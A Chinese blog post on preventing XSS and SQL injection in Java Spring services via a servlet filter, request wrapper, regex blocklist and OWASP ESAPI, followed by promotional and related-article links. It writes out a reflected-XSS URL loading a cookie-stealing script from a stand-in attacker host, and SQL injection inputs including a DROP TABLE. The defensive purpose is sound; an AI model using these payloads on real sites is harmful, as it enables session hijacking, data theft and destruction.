点击蓝色“程序猿DD”关注我

回复“资源”获取独家整理的学习资料!

来源:日拱一兵



最近重温了一下「黑客帝国」系列电影,一攻一防甚是精彩,生活中我们可能很少有机会触及那么深入的网络安全问题,但工作中请别忽略你身边的精彩

大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:

Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了所有安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。

XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案

XSS 案例

不用看 XSS 案例的,请跳过此处,直接去跳到「解决方案」内容 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条?

案例一

Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登录的记录。

Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:

  1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。

  2. 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为 http://bobssite.org/search?q=puppies 这是完全正常的行为。

  3. 但是,当她提交异常搜索查询时,例如 <script type ='application / javascript'> alert('xss'); </ script>

  • 出现一个警告框(表示“xss”)。

  • 该页面显示“未找到”,以及带有文本“xss”的错误消息。

  • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 这是一个可利用的行为

Mallory制作了一个利用此漏洞的URL:

  1. 她创建了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>

  2. 她选择使用百分比编码 encode ASCII字符,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,这样读者就无法立即破译这个恶意 URL

  3. 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”

Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)

authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器

Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。

Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。

Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。

案例二

当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。该变量是从用户输入(getRequestString)获取的

txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

当用户输入 userId = 105 OR 1=1,这时 SQL 会是这个样子:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

OR 条件始终为 true,这样就有可能获取全部用户信息如果用户输入 userId = 105; DROP TABLE Suppliers ,这时 SQL 语句会是这样子

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

这样 Suppliers 表就被不知情的情况下删除掉了

通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:

  1. 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)

  2. 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)

  3. 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节

本文主要提供第 2 种方式的解决方案

解决方案

先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?

Spring AOP

使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点?),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?

HttpMessageConverter

请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter 并重写 readInternal 方法:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {    return super.readInternal(clazz, inputMessage);
}

获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?

Filter

Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章我们有两种方式自定义我们的 Filter

  1. 实现 javax.servlet.Filter 接口

  2. Spring 环境下继承 org.springframework.web.filter.OncePerRequestFilter 抽象类

这里采用第二种方式:

@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {    @Override  protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {   String userInput = request.getParameter("param");    if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {   throw new RuntimeException();   }   String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");    if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) { throw new RuntimeException();   }   filterChain.doFilter(request, response);    }
}

然后注册 Filter

@Bean
public FilterRegistrationBean filterRegistrationBean() {    FilterRegistrationBean registration = new FilterRegistrationBean();    registration.setFilter(globalSecurityFilter()); //URL 过滤 pattern 设置 registration.addUrlPatterns(validatePath + "/*");    registration.setOrder(5);   return registration;
}   @Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {  return new GlobalSecurityFilter();
}

这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:

  1. 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达

  2. 调用 request.getInputStream()读取流,只能读取一次,调用责任链后续 filter 会导致 request.getInputStream() 内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看 不得不知的责任链设计模式

  3. 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富

我们需要通过 HttpServletRequestWrapper 完成流的多次读取,当你看到这个名称 XXXWrapper,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 ?),先来看类图:

HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {   //将读取的流内容存储在 body 字符串中  private final String body;  //定义Pattern数组,用于正则匹配,可添加其他pattern规则至此 private static Pattern[] patterns = new Pattern[]{ // Script fragments Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),   // src='...' Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),   Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),   // lonely script tags   Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),  Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),  // eval(...)    Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),  // expression(...)  Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),    // javascript:...   Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),  // vbscript:... Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),    //在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码 };  /** *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中 */  public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{  super(servletRequest);  StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = null;  try {   InputStream inputStream = servletRequest.getInputStream(); if (inputStream != null) { bufferedReader = new BufferedReader(new InputStreamReader(inputStream));   char[] charBuffer = new char[128]; int bytesRead = -1;    while ((bytesRead = bufferedReader.read(charBuffer)) > 0) { stringBuilder.append(charBuffer, 0, bytesRead); }   } else {    stringBuilder.append(""); }   } catch (IOException ex) {  throw ex;   } finally { if (bufferedReader != null) {  try {   bufferedReader.close(); } catch (IOException ex) {  throw ex;   }   }   }   //将requestBody内容以字符串形式存储在变量body中    body = stringBuilder.toString();   log.info("过滤和替换前,requestBody 内容为: 【{}】", body);    }   /** * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流  * @return  * @throws IOException  */  @Override  public ServletInputStream getInputStream() throws IOException { String encodedBody = stripXSS(body);   log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody); final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());    ServletInputStream servletInputStream = new ServletInputStream() { @Override  public int read() throws IOException {  return byteArrayInputStream.read(); }   @Override  public boolean isFinished() {   return byteArrayInputStream.available() == 0; }   @Override  public boolean isReady() {  return true;    }   @Override  public void setReadListener(ReadListener readListener) {    }   };  return servletInputStream;  }   /** * 调用该方法,可以多次获取 requestBody 内容    * @return  */  public String getBody() {   return this.body;   }   @Override  public BufferedReader getReader() throws IOException {  return new BufferedReader(new InputStreamReader(this.getInputStream()));    }   /** * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组   * @param parameter * @return  */  @Override  public String[] getParameterValues(String parameter) {  String[] values = super.getParameterValues(parameter); if (values == null) { return null;    }   int count = values.length; String[] encodedValues = new String[count];    for (int i = 0; i < count; i++) { encodedValues[i] = stripXSS(values[i]);    }   return encodedValues;   }   /** * 获取单个请求参数  * @param parameter * @return  */  @Override  public String getParameter(String parameter) {  String value = super.getParameter(parameter);  return stripXSS(value); }   /** * 获取请求头信息   * @param name  * @return  */  @Override  public String getHeader(String name) {  String value = super.getHeader(name);  return stripXSS(value); }   /** * 标准过滤和替换方法 * @param value * @return  */  private String stripXSS(String value){  if (value != null) {   // 使用 ESAPI 避免 encoded 的代码攻击    value = ESAPI.encoder().canonicalize(value, false, false); value = patternReplace(value); }   return value;   }   /** * 根据 Pattern 替换字符   */  private String patternReplace(String value){    if (StringUtils.isNotBlank(value)){ // 避免null   value = value.replaceAll("\0", "");    // 根据Pattern匹配到的字符,做""替换   for (Pattern scriptPattern : patterns){ value = scriptPattern.matcher(value).replaceAll(""); }   }   return value;   }   }

至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中

GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);

上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部分内容,来看代码:

ESAPI.encoder().canonicalize(value, false, false);

这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?

ESAPI.encoder() 构造出默认的 DefaultEncoder, 查看该类发现:

/**    * Instantiates a new DefaultEncoder */
private DefaultEncoder() {  codecs.add( htmlCodec );    codecs.add( percentCodec ); codecs.add( javaScriptCodec );
}

其中 javaScriptCodec 是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看 Encoder 接口,找到下面方法:

String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);

通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:

List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));

所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中

/**    * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec    * @param value * @return  */
private String stripXSSRequestBody(String value){   if (value != null) {   List codecs = new ArrayList(4);    codecs.add( new HTMLEntityCodec() );    codecs.add( new PercentCodec());    DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));  // 使用 ESAPI 避免 encoded 的代码攻击    value = defaultEncoder.canonicalize(value, false, false);  value = patternReplace(value); }   return value;
}

解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的 getParameterValues 方法中使用如下方法:

/** * 防Sql注入,多用于带参数查询    * @param value * @return  */
private String stripXSSSql(String value) {  Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);  if (value != null) {   // 使用 ESAPI 避免 encoded 的代码攻击    value = ESAPI.encoder().canonicalize(value, false, false); value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);  }   return value;
}

ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释

问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字校验,文件后缀校验,文件大小校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为 multipart/form-data 的请求

String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){  filterChain.doFilter(request, response);
}else { GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request); filterChain.doFilter(xssHttpServletRequestWrapper, response);
}

当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.

ESAPI引入方式

ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码, 更多介绍请查看 OWASP 或 ESAPI github

使用 ESAPI,我们要引入相应的 jar 包

gradle 方式

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'

maven 方式

<dependency><groupId>org.owasp.esapi</groupId><artifactId>esapi</artifactId><version>2.0.1</version></dependency>

resources 根目录下添加 ESAPI.properties 文件和 validation.properties 两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了,文件内容可以通过下载 ESAPI source 获取,也可以按照文章底部 「Demo 代码」方式获取获取

灵魂追问

  1. 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?

  2. 为什么单纯校验文件的后缀是不安全的校验方式?

  3. 你看过「黑客帝国」吗?(该问题纯属搞笑)

新群招募

前段时间推了一个保险讲座的广告,结果很多朋友还来私聊我关于保险方面的一些建议,甚至还有要直接拷贝我目前购买方案的(感谢大家的信任)。就个人而言,之前在购买保险的时候确实做了非常多的功课,但是主要还是基于个人情况去考虑的(收入结构,家庭情况等),另外小编家里因为有癌症的家族史,所以在在购买上都会有不同的偏向性,没有具体哪一款最好,还是要多看多交流,找到最适合自己的再下手!

基于以上目的,所以尝试建个保险交流群。只需要添加微信:zyc_enjoy,发暗号”保险交流“,加入讨论群。同时,我还给大家准备了一份超详细的重疾产品横向对比表给大家参考!


推荐阅读

  • 使用 Optional 摆脱 NullPointException 的折磨

  • 史上最易懂的Kubernetes儿童插图指南

  • 要想下班早?插件少不了!

  • 微服务之旅:从 Netflix OSS 到 Istio Service Mesh

  • 如何避免Java中的回调“地狱”

关注我,加个星标,不忘签到哦~

点一点“阅读原文”小惊喜在等你

开发那么多年,还不知道XSS怎么防?相关推荐

  1. 「职场套路」那些心照不宣的职场套路,工作多年还不知道?

    其实很多职场人都会有体会,职场中套路很多,怎么才能利用这些套路让自己有所提高呢,这个问题很值得我们学习探讨. 后续职场经验技巧,关注我学习更多知识. 我相信应该没有人对晋升不感兴趣吧? 你可以把对下属 ...

  2. 国内最大.NET平台重金招募中 你竟然还不知道?

    各位路过的 捎带眼瞅见的 不小心翻到的 英雄好汉 请留步~ 让小编来带你康康 这个胆敢号称 国内最大的.NET的平台 到底有何惊人之处 一 难道是因为它有--"最敢"的生态开放平台 ...

  3. 【建站系列教程】4、还不知道SEO你就OUT了

    [建站系列教程]4.还不知道SEO你就OUT了[进阶] SEO的使用背景 SEO到底是什么?SEO会对网站做哪些操作? 对于程序员来说,代码优化方向的SEO能做哪些? 最后,我们才说SEO的原理 写在 ...

  4. 做前端性能优化,还不知道什么是Preload、Prefetch、Preconnect、Prerendering,你就out了?

    做前端性能优化,还不知道什么是Preload.Prefetch.Preconnect? 今天,我们将探讨当前的资源提示和指令,这是提高网站或 Web 应用程序性能的另一种好方法.您可能听说过Prelo ...

  5. 8年前端开发的知识点沉淀(不知道会多少字,一直写下去吧...)

    先啰嗦几句 2011年开始从事前端,从一个页面的切图仔到如今还算合格的前端工程师,一路走来,我很清楚要学的很多,其中也学了很多,学的同时也丢了很多(身陷边学边丢,边丢边学的状态).尤其这3年,前端领域 ...

  6. 8年前端开发的知识点沉淀(不知道会多少字,一直写下去吧,)

    先啰嗦几句 2011年开始从事前端,从一个页面的切图仔到如今还算合格的前端工程师,一路走来,我很清楚要学的很多,其中也学了很多,学的同时也丢了很多(身陷边学边丢,边丢边学的状态).尤其这3年,前端领域 ...

  7. 工作这么多年还不知道如何对MySQL进行性能压测?这也太Low了吧

    大家好,我是冰河~~ 今天给大家带来一篇关于MySQL的技术文,这也是我对MySQL使用UUID做主键与int数字做主键做的性能压测. 之前,总有小伙伴问我:为何使用UUID做MySQL的主键,MyS ...

  8. 别人都知道的法线贴图流程,你竟然还不知道?真不知道你怎么学的

    一.法线贴图是什么?能做什么? 今天我们讲讲法线贴图,首先从名字就能看出它是一张贴图,像漫反射贴图,置换贴图,高光贴图,AO贴图,不透明图贴图,自发光贴图等等是一样的,将它赋予一个模型便会产生相应的效 ...

  9. 什么你还不知道招聘信息,小唐来教你——最新2021爬取拉勾网招聘信息(一)

    文章目录 前言 一.准备我们的库 二.分析分析 三. 代码 四.数据展示 小唐的心路历程 上一篇:没有啦! 下一篇:什么你还不知道招聘信息,小唐来教你--最新2021爬取拉勾网招聘信息(二) 前言 有 ...

最新文章

  1. 堆排序算法实现思想个人理解
  2. matlab里1stopt,请帮忙运行下1stopt 程序?(MATLAB没有解出结果)
  3. 2019牛客多校一 D. Parity of Tuples
  4. vue-cli项目引用文件/组件/库 的注意事项(一)
  5. 算法入门篇八 贪心算法
  6. Longest Palindromic Substring Part II
  7. c 调用java程序_C ++可以调用Java代码吗?
  8. shell与python相互赋值
  9. zabbix使用IT services 了解服务器SLA整体情况
  10. linux操作系统漏洞,常见的操作系统漏洞有哪些
  11. session的简单理解和使用
  12. 推荐几个对编程有帮助的游戏
  13. FMEA学习(2软件)
  14. 如何批量将mp3压缩变小?
  15. 虚拟机安装与双系统(win10+ubuntu)安装及其他
  16. python zip压缩_用Python处理ZIP压缩包
  17. split 逗号或分号_分号或不分号
  18. 百度笔试题——首相的密道
  19. word中选不中、删不掉、造成奇怪问题的横线
  20. 机器学习之朴素贝叶斯算法详解

热门文章

  1. 拉卡拉昨登陆A股创业板 首日涨幅43.99%总市值近200亿元
  2. 一名合格前端工程师的进阶指南!
  3. 【OpenCv】 VS C++ (零):专栏总揽与OpenCv介绍
  4. 络达开发----如何开启AGC功能
  5. display:none和visibility:hidden的qubie
  6. SpringBoot连接TDengine集群写入超时
  7. Android常用的第三方组件
  8. 【操作系统】Operating System Conceptions第一章知识整理总结
  9. Linux常用命令笔记与Windows部分命令
  10. 论文阅读:multimodal remote sensing survey 遥感多模态综述